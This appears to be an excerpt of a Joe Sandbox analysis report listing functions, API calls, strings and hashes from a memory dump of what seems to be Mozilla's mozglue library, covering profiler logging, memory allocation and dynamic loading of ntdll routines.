Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

kernel32.dll, xrefs: 6C5B0E7D
GetProcessMitigationPolicy, xrefs: 6C5B0E9B

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625
<jemalloc>, xrefs: 6C5E05FA, 6C5E060F

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

UnmapViewOfFile2, xrefs: 6C607552
kernel32.dll, xrefs: 6C607557

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

ntdll.dll, xrefs: 6C60C413
NtQueryVirtualMemory, xrefs: 6C60C431

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

ntdll.dll, xrefs: 6C6075B3
RtlNtStatusToDosError, xrefs: 6C6075D1

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

ntdll.dll, xrefs: 6C607603
NtUnmapViewOfSection, xrefs: 6C607621

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

